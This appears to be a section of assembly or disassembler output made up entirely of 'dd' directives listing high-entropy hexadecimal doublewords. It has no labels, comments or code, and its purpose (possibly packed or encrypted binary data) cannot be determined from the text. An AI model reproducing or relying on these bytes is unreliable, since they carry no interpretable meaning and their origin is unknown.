		dd 4EBC883Eh, 0E89F80CCh, 0A19A0367h, 0F39BBA59h, 2534B958h
		dd 4D0661BBh, 1CD2C450h, 0EE5E3D67h, 0E63E3C82h, 806639ADh
		dd 61F42A00h, 0B93633C4h, 86650018h, 0E9F2D98Ch, 0F02C699Bh
		dd 0EC40D0CFh, 45A897h,	2347539Fh, 0AEAA09C0h, 9093E700h
		dd 3FEB44DAh, 381A0BEFh, 0F4806B82h, 9DF46D2h, 0BCD56E00h
		dd 0A5547C32h, 90B47C44h, 4058B978h, 9B6CB82Fh,	5D15EC01h
		dd 1A433B5Ch, 1B55CFEBh, 6CC8BC56h, 0C06002ACh,	8EA330C2h
		dd 644D10C0h, 0F64AFE04h, 3B40DE34h, 6FC66344h,	2E031601h
		dd 29061EE7h, 0D174403Bh, 2DC29ED4h, 5EFB0907h,	0FE707A43h
		dd 616601h, 67E895DFh, 0C9CCF682h, 0F7690E00h, 4CD78FC1h
		dd 9012515Ah, 18097C72h, 7040B86Eh, 342540A7h, 3F4884D6h
		dd 0E89A4F4h, 0C3733398h, 0AB93FAC4h, 0C6E41681h, 13A2BE4h
		dd 1D1489F5h, 6D3746A8h, 86A01CECh, 0FAC74CC1h,	0E37107D9h
		dd 8270612Ah, 82E068F5h, 61F97BA6h, 0C4388894h,	0A9406DC8h
		dd 27E12B02h, 3068CE17h, 0D8B3D18Eh, 4B00509Ch,	0A028C9EBh
		dd 4F937BE8h, 5450888Ch, 0E400EA76h, 0D522BE75h, 7EA0DD1Bh
		dd 4221C334h, 20A0AA11h, 0E9031791h, 0D485D18Ah, 8704F0AEh
		dd 533B762Dh, 7A00ECBCh, 316D1577h, 9F12A4A1h, 4C951C82h
		dd 0E53E2800h, 25C3BE7Fh, 98903B9Ch, 4CB27369h,	0C600A8A6h
		dd 0B49B8781h, 0A6688257h, 15B30290h, 4CA6F29Ch, 0F1074044h
		dd 0FFED5884h, 1ED87AC0h, 22B09AD1h, 0E80A8938h, 0E8673423h
		dd 43685360h, 662607C0h, 715C9A7Eh, 0C0D8CD69h,	0D94CD2BEh
		dd 4C0449BAh, 9F6A8078h, 0E809D57h, 0EC09F3B9h,	803E922Fh
		dd 143D557Fh, 0ECB141F9h, 0AAF2B400h, 0EFBA032h, 0D5BB0B57h
		dd 624B14A3h, 1ACF2BDh,	6A56FE68h, 0E9AC80AEh, 616F00D8h
		dd 7345FFA0h, 622D80A4h, 9D644852h, 4414BA1Ch, 97006091h
		dd 582946D7h, 0E4894478h, 0D921045Fh, 808A53DEh, 0D2D504E0h
		dd 66809896h, 0F791C27Ch, 59CB00F1h, 0F2094EA3h, 6B0B082Ch
		dd 8FFC3521h, 0A090B2A0h, 29403BE2h, 0A4A797h, 0AF5A8AF4h
		dd 79002345h, 9BD44771h, 0B13FFCh, 0DD2654B2h, 6A8241BBh
		dd 34FC0F54h, 7BFBC94h,	0FCEB5A33h, 3A45EDE0h, 78C100DCh
		dd 2AC72372h, 64170C69h, 270C4F4Eh, 5DFB953h, 5A90D65Bh
		dd 2098C19Bh, 8466D0ECh, 41241200h, 8D2C69E4h, 0D0109773h
		dd 740EA4A0h, 805F1986h, 0B423B664h, 4AC600D2h,	7566DBEh
		dd 0B313373Bh, 3CA6019Bh, 978B1Fh, 0C68C20FFh, 0EF4F99CEh
		dd 2C52301Ch, 0A4543890h, 4A692CA1h, 28A01BCh, 304CE33Ch
		dd 9E609684h, 2BD01751h, 0B82CEADFh, 22294E7Ch,	50103D40h
		dd 34F903F7h, 866820ECh, 0BC20205Bh, 1C295803h,	80B10BE0h
		dd 56CCE483h, 32518E60h, 7329C6B4h, 98F51128h, 13ED5160h
		dd 0D0BE6D20h, 4A9753B8h, 43E33F10h, 7A3EC10h, 8E66C2E8h
		dd 44183E26h, 0F400D725h, 325F8FD5h, 276756D9h,	2448CEA9h
		dd 191E06ABh, 0BCD8FFC7h, 2A60960h, 20DF3F9Bh, 0B07EBE4Ch
		dd 407280CEh, 30CCC50Dh, 579EE3C4h, 0C200B930h,	0EB3C2CB5h
		dd 973E90A4h, 7600AC14h, 0F812A5C5h, 7D7B82AFh,	0FFA31F6Dh
		dd 56242A6h, 0B07CE040h, 0C4A138A0h, 0C0207DA1h, 0C7F30711h
		dd 0E4D9508Fh, 0D139129Bh, 1FCB274h, 0ACB571A4h, 2C605E4Fh
		dd 0A8D32867h, 0C0975090h, 3061D22Ch, 8FE572B8h, 0BEC1EE00h
		dd 0F5B7C60Ch, 2E3814D9h, 2017A8A5h, 91F8D2A9h,	20248829h
		dd 0B5ACE100h, 29EC86Bh, 0A5C18B3Ch, 0E487046Ch, 20DDD0A2h
		dd 2E89BCDEh, 1DEB1060h, 0BCAC893h, 2802B025h, 685970B8h
		dd 0A2855100h, 2DC5C36h, 3F6326EFh, 1C74AFD6h, 6DF3CA40h
		dd 6564003Ch, 6F6EAB69h, 0C7009677h, 305E3D3Fh,	2168C370h
		dd 8100A645h, 0B10FE5B3h, 12FA00F1h, 297B070Bh,	11F23ECBh
		dd 3F34AC01h, 0D2A79CD7h, 48F50820h, 7E107437h,	0DDED13BBh
		dd 64FE5822h, 5D380478h, 84F75767h, 20B238h, 5E923339h
		dd 0ECC718EFh, 4A990E5Ch
		dd 472552C8h, 560C584h,	0C1A029C4h, 2E01EB4h, 80605C3Eh
		dd 4F5E732Dh, 0A307142Ah, 94BCC285h, 7C8DD000h,	45B6008Ah
		dd 37661769h, 0ECFD0F19h, 0BD01F0A0h, 0DA1461AEh, 0B82CBE80h
		dd 8AA8FD8Fh, 98F6DC00h, 5896F1ACh, 9B215C17h, 0DF543687h
		dd 47101047h, 60DC694Dh, 0BD7826FDh, 0A41F4915h, 13BE5A92h
		dd 18883ADFh, 30AC6062h, 831E5084h, 7870803Bh, 3C8A0524h
		dd 71E849E0h, 0EB5748A0h, 9E51E23Fh, 0A237508Eh, 0C28E5380h
		dd 0B8D6E944h, 0E0E02827h, 0CD4503h, 1EB63353h,	0C5F2DF9Ch
		dd 4EC8C305h, 0C5FECFBAh, 171888E2h, 810046FCh,	392C7EA8h
		dd 3DD70DD2h, 1682229Eh, 668715E1h, 642464C4h, 6BC93851h
		dd 0FBC0E444h, 0ADEBF10h, 6729C2F2h, 0E214139Ch, 493A80D4h
		dd 76042Bh, 80A632BEh, 0D12D5E59h, 0E11FD000h, 0D940FEC9h
		dd 0D2687187h, 0A20488D9h, 0F46BE201h, 0CCFD35DDh, 0AAC5C8h
		dd 0FB86EADCh, 6088C9D7h, 0B45CCD5Fh, 0ACB22353h, 0AF81887Bh
		dd 75C0300h, 7A8E0A91h,	0C32A00AAh, 5B0C2F67h, 86004AE3h
		dd 4395C654h, 1A2F655h,	855F9A04h, 44621C84h, 0D78F44Ch
		dd 6900DEB8h, 8D07A8C7h, 0E654E6Eh, 0D812C218h,	0DBD77222h
		dd 89008451h, 0C3D54F21h, 457A00FEh, 51B58CD6h,	0E90B75F9h
		dd 60480AF6h, 951184E0h, 0A9FEC490h, 0FC240086h, 0A3DD4CE4h
		dd 3C008D50h, 0E98E2732h, 1C23C67Eh, 60E75C57h,	0DAD2CE16h
		dd 46C3305Ch, 0E5B1C4E0h, 0BAEC9Ch, 0D89D44B4h,	0ECE05C6Eh
		dd 0AAF4FD00h, 0B28C1FAEh, 0D20A0C13h, 0DC318334h, 22806F5Ch
		dd 3AEE2770h, 0F2896C29h, 0CAB05864h, 17175896h, 21DD4C31h
		dd 1084A1A5h, 8488848Fh, 80D8E964h, 0F0286EEBh,	73E303E0h
		dd 0CDB5B947h, 7B6F3F8h, 6B601098h, 856C9D49h, 9D2571EEh
		dd 0E4E6888Bh, 0FD78F0E9h, 6E015BEAh, 463657A5h, 0C8209A73h
		dd 847E1764h, 0C07CD46Ah, 67419EB8h, 0ADC55E0Bh, 0FAFC80F0h
		dd 0B0A1CF14h, 0EEE74430h, 28CA075Eh, 69862C0Fh, 6572B240h
		dd 0BF12816Dh, 98C8D4C9h, 1C21861h, 97CB9648h, 352624B0h
		dd 0DB005C6Bh, 16D5620h, 6680C055h, 47E59385h, 72643417h
		dd 2991BCD2h, 1400AC64h, 31564E8Fh, 0EC1FEEEh, 2EF68B3Dh
		dd 4734DA62h, 80A640A4h, 7970A938h, 0A7C6800h, 5E49A4F7h
		dd 0A047544Ch, 8DF63A9Bh, 88C15F40h, 9002F3C9h,	508FD86Ch
		dd 0D6280796h, 0E0848B3Bh, 8A6940A1h, 169C819Fh, 1301C95Fh
		dd 94F221h, 8E58F5B0h, 8FA496h,	0CC9BC545h, 311920FBh
		dd 0CBB36F05h, 38824F6Bh, 59F482F7h, 1C630BE0h,	344B14B1h
		dd 39E9508Ch, 21EE0218h, 337FBF73h, 0E2F031E3h,	53002685h
		dd 24E338DDh, 6B973B9Dh, 1471E177h, 95DA3900h, 6F9B62h
		dd 0DC9D56ADh, 57D2F184h, 7F31F461h, 0BC48D314h, 2DF000D5h
		dd 38C85E21h, 5403D7B9h, 0EEADB89Dh, 75B90729h,	0EE31D11Eh
		dd 3BC898B3h, 79F44800h, 8DBEE78Ch, 84FD2EC6h, 2C1713DCh
		dd 0C900A8A4h, 7E6B8D56h, 393B22A9h, 0DF1E091Fh, 0EA46C9B0h
		dd 83E6AC10h, 906F520Bh, 0EE465E2h, 0FD20B6D8h,	0F7172268h
		dd 0E3DB6A03h, 0C8F09A41h, 2760C340h, 8C6482FFh, 5731F507h
		dd 2EB06BBBh, 0F03BF76Dh, 946F7A4Ch, 55734348h,	9BAA37A0h
		dd 0C8A79727h, 90E8160h, 690A4CD7h, 411805h, 9072502Ch
		dd 0E43FE748h, 0BD3C8AE1h, 4A1DE884h, 42F382C9h, 6E085CA4h
		dd 7A83C09Fh, 0DEDA04CFh, 8CAB5301h, 667608DCh,	5FB0237Bh
		dd 4368CCF0h, 0BCF6400h, 0A7AF19D9h, 0F9DF1ED6h, 0A846A517h
		dd 12230E1Fh, 37330C00h, 9DC4D73Ah, 0C0758027h,	476F5167h
		dd 0CD804CB1h, 0EC30ACB0h, 586000D7h, 80E333BAh, 610902E7h
		dd 0E92CDFDDh, 0B020B020h, 0BDA0091Eh, 18E687D7h, 0FD160B43h
		dd 4C58F139h, 560046D8h, 0E1196E38h, 1ECCF022h,	812566C3h
		dd 0F63B9007h, 9C802C77h, 484C5049h, 0BD4190h, 3FFC9169h
		dd 3890042Eh, 0B07CF448h, 0DD703h, 0B30B0F8Bh, 6E181FE1h
		dd 0D2314900h, 0C0229C53h, 6C609C3h, 880690Ch, 1704EFE5h
		dd 0E022D090h, 0DED60E6Ch, 57426A09h, 74444DC0h, 0B3486200h
		dd 0F367CDD9h, 0DD910B8Eh, 8A0008AEh, 0B8284C69h, 4980689Bh
		dd 9901CE25h, 2F2300EFh, 9C1A8577h, 9097680Eh, 0BDC6524h
		dd 800F5146h, 0D33CD800h, 683DCAC7h, 989096F2h,	93D20430h
		dd 0B5C9002Fh, 5F89C5A8h, 3F0B8317h, 73402E7Fh,	0EDCE0AA4h
		dd 0B6782D0h, 0C4FACB29h, 0E0EC04B5h, 0F8DC5545h, 0CF0B806Ch
		dd 0A89D0Eh, 4D3A184Bh,	3FD78A70h, 96EB2601h, 0DF2F92DEh
		dd 28C207Bh, 0F71F6822h, 5F132E5Eh, 36EF6802h, 41B8EA30h
		dd 2C2BECC4h, 98843980h, 0F204A2CEh, 6E37600h, 99D4832Fh
		dd 0F914B9CEh, 58700A4Ah, 95E4220Ch, 0DCA93000h, 1C914126h
		dd 0F843A601h, 0BC23A862h, 5889DB00h, 177AAB18h, 0E820954Bh
		dd 38D03E1Dh, 16006B30h, 0D5114970h, 29FB88B5h,	1B832524h
		dd 3120B1BCh, 0E930402Fh, 7B8594C6h, 4C29B62Eh,	3533BD40h
		dd 63703913h, 6436F202h, 6441670Eh, 9BF8C36Ch, 9F021E6Ah
		dd 0E884F89Ch, 43A8D6CAh, 0A4D03F48h, 0C60078DAh, 0A1544F2Eh
		dd 1708D707h, 8BCF828h,	9B82B918h, 0B74D23Dh, 16004C71h
		dd 21F07ADAh, 8015E79Dh, 0D8B26480h, 0A35C560Fh, 0A137071Fh
		dd 18B2F2B4h, 0E42DC900h, 5A72557Ch, 0DD968802h, 846982A0h
		dd 1540ACC4h, 93522FECh, 0C32DE400h, 51D649CAh,	0C99C4F17h
		dd 1A423A4h, 52E83854h,	80604031h, 0BC9C7C2Fh, 3749C060h
		dd 83079FFFh, 344A5467h, 0AB9A83C8h, 22C063BCh,	8700B278h
		dd 68FC67ECh, 798482h, 3183157Eh, 3C4F382Bh, 19D64A01h
		dd 88CAC086h, 9000E063h, 649DC168h, 0AD00AE2Dh,	0FE2F1881h
		dd 0B21BA9h, 36E0EF44h,	0E749A656h, 0F266E9C0h,	21C4D82h
		dd 0C5325755h, 0C0E856C1h, 69108488h, 0DC5971C8h, 723D9580h
		dd 81D5F8Ah, 9C01577Fh,	0ECC551D4h, 0B14C58C8h,	8B1001F8h
		dd 0E8370B09h, 4B1DC9E5h, 0A829DC83h, 2420CE16h, 81A2B4h
		dd 42F9886Dh, 0EB0D37FFh, 0ED5F6700h, 5E4C6C47h, 8B5C2EF7h
		dd 1831370h, 29EB1770h,	4C273F94h, 681D1AA0h, 8C1E0084h
		dd 443269D8h, 360AA2DAh, 0BF4AD94Dh, 14909602h,	0E0C074DEh
		dd 489EB4A6h, 1B67C900h, 0CD9D1F35h, 46AA1CB7h,	0CFDD493Fh
		dd 0E1954CC8h, 201DF40Ah, 4A05C4B3h, 0A4A8B851h, 62151490h
		dd 3058D0C6h, 14BC0910h, 85A8D59Bh, 68E31EEEh, 0D203087Eh
		dd 0D600896Fh, 23ECE492h, 86790317h, 0B46E209Eh, 0CDEF49F9h
		dd 0C8AE443Eh, 30B7E0DCh, 1E120810h, 0C3A7C69Fh, 3F4BCBBCh
		dd 0DCBE3202h, 80D315CFh, 0F96A8554h, 0C4EC0020h, 24F7EC3h
		dd 0CE9066BCh, 7A675C02h, 0F9906C5Eh, 6FA4BFBCh, 1770C0CCh
		dd 1B5E96AFh, 0C064AC23h, 273471h, 32C8ACFFh, 4C3F4460h
		dd 51214700h, 1E0BECF8h, 34DF4429h, 5B19B600h, 12813527h
		dd 1637AB4h, 69E5333Ah,	3D4C5193h, 67C3013Ch, 0D3D066B9h
		dd 0C27360h, 8E7AFEABh,	0A49C93F6h, 5E0C9158h, 0FA171860h
		dd 0C9716037h, 5ED22AC1h, 94820E4Eh, 598523Fh, 0F8567526h
		dd 0ABC7C36Fh, 38804BAFh, 96274E5h, 25F88B52h, 403851EFh
		dd 375DCB9Ch, 743E400h,	2E586BC6h, 0A5200D4h, 22BF1F57h
		dd 6D60AE6Ah, 14D5DF78h, 50C90466h, 0A25674A8h,	48BA00DCh
		dd 323A5ABh, 1EB802FCh,	1469D1B3h, 99402CFEh, 344989Eh
		dd 0F5039B0h, 22C86ABDh
		dd 0AE443EC9h, 0D3DEC785h, 0B328D38Ah, 0F34847A8h, 6CCF6309h
		dd 0F5090191h, 4062A34Bh, 8DC5A16h, 52621B18h, 0BD74C1D8h
		dd 0C0465F12h, 0F2E3421Ch, 709A4B03h, 1C61C9B5h, 7982D2E4h
		dd 149B253Ah, 341E5490h, 17E2673Dh, 34C83D9Ch, 8B09D4Ch
		dd 5E24BA5Ch, 102FAC85h, 5E2CED64h, 0FCD4DDE5h,	0AC001A1Eh
		dd 58192E22h, 184DBF4h,	4634F999h, 38E89A28h, 0CE7F2594h
		dd 0E0C0BF90h, 1B144278h, 41CFF541h, 54852B38h,	1653108Ch
		dd 84C39F49h, 0FAF48CB4h, 938E5200h, 4BBE7119h,	88904E39h
		dd 290043C0h, 508D18CCh, 2E45DAFAh, 0DCA68Eh, 1F094D8Ch
		dd 294F37D1h, 0E0B2EC56h, 2F89E211h, 6F2400D7h,	0FF389007h
		dd 4F5F02F2h, 0F40F14E4h, 0C0D221D5h, 8C497A3Fh, 0DDF51EA4h
		dd 5C0BAF9Ah, 176A1841h, 6C4489h, 0C0B96B72h, 20B39462h
		dd 4BB5B813h, 181FF4A2h, 60F7C098h, 3979BBAFh, 972B6100h
		dd 0FECB23E1h, 361A2D20h, 0AF1DCCE4h, 0AD855B09h, 0C4041CDh
		dd 0F9666548h, 0BEC90F1Ah, 0C2F6E33Fh, 0CC6EA0E4h, 6D5E2B00h
		dd 7417FE31h, 205B038Fh, 0E121DFD8h, 0F654F10Ah, 3705A442h
		dd 0C0E06B1Dh, 32C0B8DBh, 8751A1B8h, 48C2E820h,	3A0D00A5h
		dd 4C38D43h, 0B800221Dh, 1797B731h, 4CAEC949h, 0FFC090C8h
		dd 480A8B94h, 98D0E35Ah, 0C3FFAB7h, 0F64BA4D7h,	0BA0E6618h
		dd 223A6F7h, 0E1557052h, 9B082508h, 0C422384Fh,	0B0D01220h
		dd 20668720h, 9D74749Ah, 0C0AD0127h, 442CDD74h,	3F4A9BDFh
		dd 5A8054A2h, 0ACFBC299h, 0E043BD00h, 50F79068h, 6F61F9BAh
		dd 0DE01EC62h, 725AF9C3h, 469442A0h, 0EEA35402h, 0E4F4B4h
		dd 670613BEh, 6A87EA8Eh, 4AE07B48h, 0D60098F3h,	49EE8577h
		dd 1F0FF8D0h, 223DA85Ch, 0F8CBB715h, 5E530258h,	832A20EDh
		dd 0EB3FC20Eh, 60FCA9A4h, 8AA3FCFCh, 9895E400h,	0CB00ADA2h
		dd 0D1031B22h, 5868C2D5h, 0C109BC45h, 0DC103F67h, 0D30049A2h
		dd 0A4C2BDA0h, 62F9F4DEh, 0BC4470A7h, 1479680Dh, 0A6AAB213h
		dd 73620058h, 0FAFBA728h, 8F9F005Ah, 92CACB26h,	6E001D8Bh
		dd 94FB5BBh, 2D6F13EDh,	0E42BEC05h, 0DA200CC4h,	5E671771h
		dd 3034904Ch, 1C01CC96h, 3304E7B8h, 206E4E0Ah, 0DAC1C230h
		dd 38A93003h, 0E89A9832h, 1E0F13AEh, 4147699Dh,	0BCEE757Ch
		dd 0FCC47F46h, 30D7CC8h, 2DB6AE1Fh, 70E807C9h, 0E9001079h
		dd 9A207EC0h, 0BCED8A47h, 88464110h, 0F6BC70D7h, 9C3E8E26h
		dd 0EF9BFA40h, 0C8300060h, 85DFF527h, 39052D52h, 64120DB4h
		dd 704034F1h, 0BE49147Bh, 11C81004h, 0F8CEE760h, 0DC653CA0h
		dd 0AC0017C5h, 4BDBF9CAh, 0E2CE0CC4h, 57C22E4Fh, 813026C6h
		dd 79044ABFh, 2AA42555h, 0DC2EAC22h, 32A04FB0h,	0F4F54764h
		dd 49746303h, 9484C3BDh, 37F084C1h, 0B96E6020h,	752508A8h
		dd 3E0B404Ah, 1738024Fh, 8FCCFECEh, 0A2E0F75Ch,	0EBC4689Ah
		dd 0BC7D3700h, 0F05751B0h, 0E4E5959Dh, 0D200DE9Fh, 76667BB7h
		dd 10740B72h, 0E00B6C4Ah, 0CE80F459h, 0E05F6446h, 0B5724A8h
		dd 0C01545D0h, 3FB04FA8h, 0FDDC6009h, 8058C5E8h, 51D135E2h
		dd 69006B84h, 1A046E92h, 9A0C44h, 0DE77CE12h, 75A81D3Eh
		dd 6B0A622Fh, 591CE8F4h, 18B14DEEh, 0E7E53A13h,	3B1C0038h
		dd 0B5739D34h, 50ECF3h,	7D1B7E41h, 224E76F5h, 5864F84Ch
		dd 1AE3D5Dh, 9FF45748h,	68F0F1FBh, 0A57D4A31h, 5CD44074h
		dd 0B9003994h, 2497BDA7h, 0BE821D1h, 84506F3Ch,	5280E4F3h
		dd 0BD82DFC6h, 9DBA07EFh, 70BBC74Fh, 0A371019Ch, 393BE880h
		dd 953BE1B9h, 0BB506208h, 49743E8Ch, 0C137714h,	2196F6F0h
		dd 0F4F8F5B0h, 104A5C27h, 788E860h, 76B01F2Fh, 8128153Fh
		dd 92653B0h, 0CF83347Ch, 5EC8EF96h, 2D00A816h, 1D14D940h
		dd 0FC6D5580h, 0D0562FD1h, 0E973E402h, 44118400h, 0C4518289h
		dd 4EFD6C00h, 90287F18h, 2DF2E3h, 1B487074h, 54B8B3B1h
		dd 17CCAF4Ch, 98F1118Eh, 202BE821h, 13FEF498h, 0D972FD00h
		dd 60CAC128h, 3A5E31h, 0F29D76D4h, 17126942h, 0A40EDC4Bh
		dd 630883F9h, 0EA51C07Ch, 7CB0929Ch, 0D1F814A2h, 0DDC9DC1Ch
		dd 461F9871h, 8DF4C300h, 48853DCh, 0BCD66436h, 1827AF4Bh
		dd 7CC0AFB4h, 80E932h, 0F51A3D2Eh, 67EA7E70h, 0B80AA60Eh
		dd 562B13h, 85A9A59Ch, 0A1DE0ED9h, 0F0320478h, 0A7229724h
		dd 1F020EB6h, 0AA604A33h, 2E46BDBAh, 8F388312h,	508CD484h
		dd 0AFC90205h, 298288EFh, 43B27D40h, 0BBA38526h, 0FFAE843Ah
		dd 0F88C9DC2h, 14EE58F6h, 0C8508C12h, 0FC91FD14h, 7E5B6D00h
		dd 2737F33Dh, 80E4C4E0h, 27C85256h, 101438h, 18C30BA8h
		dd 0B31FD2A3h, 0CCF4022Bh, 30301513h, 786FEAD1h, 46510099h
		dd 1587144Ah, 5304DD4Bh, 6907237Bh, 923B9CA2h, 745562Ch
		dd 0F0E4D8D4h, 2777AD1Ah, 0E2B4EE3Fh, 0D185B740h, 822500C4h
		dd 8874AFE3h, 0B0C96401h, 237E97AAh, 9BC5403Ch,	3838CC0Ah
		dd 1AEFE744h, 84848967h, 3A41085Eh, 4028DCBEh, 0FD88E0C8h
		dd 908C804Ah, 79077432h, 0CA586E02h, 40E714F4h,	50D28EFBh
		dd 12562844h, 12E195Ch,	0BDCF844h, 5258309Fh, 4A84D244h
		dd 9E8206Ah, 8CBAF828h,	1546F144h, 7C77ED3Fh, 7DCF1100h
		dd 96D23357h, 4F1A1001h, 50B132F6h, 6680983Ch, 0F140C034h
		dd 0C5E1D0Bh, 65C09867h, 4D228877h, 81F3E18Bh, 687160A5h
		dd 13859180h, 4DCCB0h, 8DD1303Dh, 36E45C9h, 3B933400h
		dd 0B41DBAC1h, 8A75EC9Ch, 3D0F34E4h, 0A099E42Eh, 0A7C27B4Bh
		dd 0BECC1CC1h, 0F236C2FAh, 4046EE82h, 0E94F0A04h, 8F9C662h
		dd 0C8C2D21Ah, 0D62CE011h, 438958A4h, 22DDDE3h,	3006F949h
		dd 9C6246A0h, 0F844440Bh, 6D12A501h, 9E7A06ECh,	313AA9ECh
		dd 6B29B930h, 9A2DCDBh,	9606D51Eh, 63DA39C0h, 0BE2EE26h
		dd 377D9CCEh, 0B71CB4C8h, 0D66DFE2Eh, 0F868003Bh, 796EC021h
		dd 3E71010Ah, 3446CBC3h, 5F318052h, 0A00EADC4h,	268C075Bh
		dd 404E9156h, 0F24CEE69h, 0A7E4BA0Fh, 24B2172Bh, 0DF736E00h
		dd 710EFB99h, 9B793001h, 0C6E1BB55h, 453A5E4h, 68853D8Fh
		dd 7370CDF9h, 4921C8B8h, 7A00D844h, 8FE5E262h, 2D1C04ADh
		dd 1CC4DABBh, 65C48E00h, 4EA6836Fh, 2EC216AFh, 23482031h
		dd 6D005E79h, 7C091A5h,	24B6BDEAh, 0AFB402B7h, 7751F460h
		dd 8A48B0B5h, 0FC3400A9h, 4C497ABDh, 0FE3EEE35h, 0FD6F0280h
		dd 0E0F13651h, 0C274655Ch, 0B8A01E62h, 77F0105Dh, 0E289FEF2h
		dd 4DE001DCh, 82E32CBCh, 0EEB6FCBEh, 572A110Bh,	2CE0F109h
		dd 4C3704FCh, 4EFE4096h, 0B75C85h, 0B4C7A40Fh, 829E0AB9h
		dd 2B498B02h, 5C09BE47h, 0FA15897Ch, 5C00DC64h,	12570427h
		dd 0A029B3C9h, 0C2800Ch, 1E849A9Bh, 22BEB0B5h, 0DC5E6CE8h
		dd 34E88489h, 30A66F12h, 4AA39F80h, 3AF1B552h, 357498h
		dd 218C2F8h, 0B9C38B19h, 15315A00h, 0EE0FF3E2h,	51F22E09h
		dd 0ECD40440h, 475CC00Dh, 3E589B3Fh, 23EE84C4h,	2B8010F2h
		dd 8E9A1699h, 2C645200h, 0D918359Bh, 56CD025Ch,	23224A54h
		dd 175FB880h, 14B4D59Ch, 0CC3C30A4h, 88605A44h,	0E2AEBC12h
		dd 5B8F0AA6h, 60B456C9h, 5F7ECF5Dh, 95048400h, 0F13144BAh
		dd 0EEC90230h, 1740508h, 6704A8E6h, 25DF2CFEh, 0CCD5488h
		dd 724110DCh, 920F6C11h, 0A8C35h, 8F1E9B5Eh, 0F24907FFh
		dd 9C41D172h, 0EB07E429h, 455AC943h, 3F06157h, 15B22CADh
		dd 0CC1E7F7Dh, 3E93B11h
		dd 87EDCD46h, 0E6113FF2h, 99C3A4DCh, 53D06338h,	0B22534EFh
		dd 1D38F3AAh, 0CCDB401Ch, 3078F20Bh, 3995F300h,	0DDB4BB83h
		dd 0A8AB04FFh, 0D8824956h, 0E20450F8h, 0F76664E7h, 24969482h
		dd 8044BCEEh, 9C3586BEh, 8C3F5A90h, 0B109A044h,	9AEA6BE3h
		dd 45307688h, 67644482h, 314CBD57h, 1B84B189h, 0C8F4272Ah
		dd 0F91D9D40h, 0E89B5898h, 0C1F4D701h, 7307EEBCh, 4620398h
		dd 94BE4AD9h, 76011081h, 12CEF010h, 249D140Bh, 4BCC48CFh
		dd 597000ECh, 0AFEB06EFh, 809860B2h, 741DD4B2h,	98175883h
		dd 0C4C2D849h, 3E791EACh, 0C759075Ah, 661A1078h, 9901A4B9h
		dd 0D5D1131Fh, 68321B41h, 1F00A690h, 0E2F4395Dh, 849087C5h
		dd 315048BCh, 7021DADh,	1A57A4A7h, 606E7818h, 50D39h, 3A15E3D5h
		dd 12DD17A3h, 0FA15Eh, 0A91B52BDh, 3C4FD683h, 1AE840C9h
		dd 4221003Bh, 0E89EEAC6h, 0AF00334Dh, 10CAECF2h, 9A94806h
		dd 0ADB70902h, 4700F459h, 0DACC3EE7h, 0A20129F0h, 0D030928Ch
		dd 0B27E2A24h, 2049B000h, 0BC894304h, 0FEF0E9h,	30658298h
		dd 0C91E8E1Ch, 9D909C59h, 34D0D2D7h, 1462F6Fh, 0C6907892h
		dd 0FD3AA36Dh, 0E82355h, 29855143h, 0E247376h, 1182066Fh
		dd 31DF5138h, 9616E499h, 8218A600h, 5235E5Fh, 95B2F2C1h
		dd 877CBCDEh, 0E254414Fh, 0BCFBB8C0h, 4A2498B4h, 881CB31Ch
		dd 51FE42F3h, 921C015Dh, 10204A5Ch, 6A1C2666h, 8CE117A8h
		dd 4C5EF068h, 6ED8880h,	1AB7C44h, 5FE7B3Ch, 7CFA68D3h
		dd 0C9479C5Ch, 9F806781h, 0BDDF47F1h, 438B490h,	0BBC40E00h
		dd 5F5760Dh, 0F1891D2h,	8C419AEDh, 7BC6435Ah, 0C368E070h
		dd 1F6496D7h, 4C4B2282h, 0D42F6490h, 51AB0079h,	0E13D86E8h
		dd 4B70C2C9h, 0E4CD6F5Ah, 0BCEC136Ah, 56C2A0C0h, 577000FAh
		dd 9467B4F7h, 0B0043AAh, 0DE76EE3Eh, 0DFA8D0h, 52A4499Fh
		dd 0A2F646C6h, 28886497h, 4EE456BEh, 68CA1Ch, 0FAC05A73h
		dd 10F3BB7h, 4897B9B1h,	2E24C983h, 0BBEC2CD1h, 27DC0200h
		dd 39CEF900h, 2C83C2FBh, 47F209C8h, 20D177F6h, 19927807h
		dd 433021AFh, 9C600491h, 684648B8h, 0A7FE7D22h,	0FEAF9600h
		dd 6159CE9Dh, 99821F53h, 8C6EA1h, 0D00D2C14h, 2958DB9Ch
		dd 359E9E6Ch, 0CE746AC1h, 5C07F58h, 4F761CB4h, 0A0F38039h
		dd 0A65B4C5Ah, 0AC7390D3h, 5E5F9CDh, 0F4B0C02Ch, 0FF14973Fh
		dd 406425ECh, 90024FA4h, 0AF53D10Eh, 448C7EBEh,	1F90ECDCh
		dd 0B29F41D6h, 0EC047892h, 0BCF0A9C5h, 823E003Dh, 0EC52F42Fh
		dd 0D0DDCACEh, 6E668742h, 1BDF0789h, 0C4FBCC8Bh, 4DA14080h
		dd 328C9Bh, 0FC947CB7h,	2B1E7ED7h, 586695h, 0BB0142FBh
		dd 721465A3h, 6AB6850Fh, 0EAD70062h, 0B8867D8Eh, 0DD9705A3h
		dd 0B9BF9026h, 0F8548E04h, 0E21499A2h, 0C03800B2h, 694F2CC1h
		dd 9702AB82h, 64C71B7Eh, 247C4183h, 4F621434h, 2454E250h
		dd 48582C17h, 7B1500DDh, 0E02FEDF6h, 3C3F7A2Dh,	58D35ECAh
		dd 9D4104AFh, 58B3ED2h,	0CE8E888h, 0BBE4A04Fh, 0C495CBB8h
		dd 84343000h, 96762861h, 186F2916h, 1210809h, 9E5601C0h
		dd 9855EE02h, 5BC36740h, 1E8CDA9h, 84BDADE0h, 88336AC0h
		dd 0AE84640Bh, 277C9298h, 94A6DC7Ch, 0C302A311h, 4F9BF121h
		dd 3F002C44h, 319A855Eh, 6E838Eh, 25DA79B8h, 6C463A08h
		dd 0A1C78204h, 6C80E942h, 0B7B8B24Ch, 0E4DA5C31h, 27017062h
		dd 24BEE5DEh, 1FF54578h, 3C016EF8h, 0E1CBBDA4h,	0F8306F44h
		dd 3A490583h, 0D9E3A44Ah, 19F8D3D7h, 2D4C603Fh,	24422675h
		dd 20B33740h, 555E00F6h, 9E0660B4h, 2900633Ch, 0A133ACC2h
		dd 1946626h, 0A6B89AF4h, 6C3D3B9Bh, 4096882Ch, 0BD19983Ch
		dd 88CDAB17h, 0F4DF9C61h, 0A2C2406Ch, 44E062B3h, 6103AD1Eh
		dd 35698477h, 0B0C10B71h, 24451B88h, 1DF1FF00h,	0A4F962h
		dd 772B611Ah, 0AE4219F0h, 2D475D00h, 5164E089h,	91705BEFh
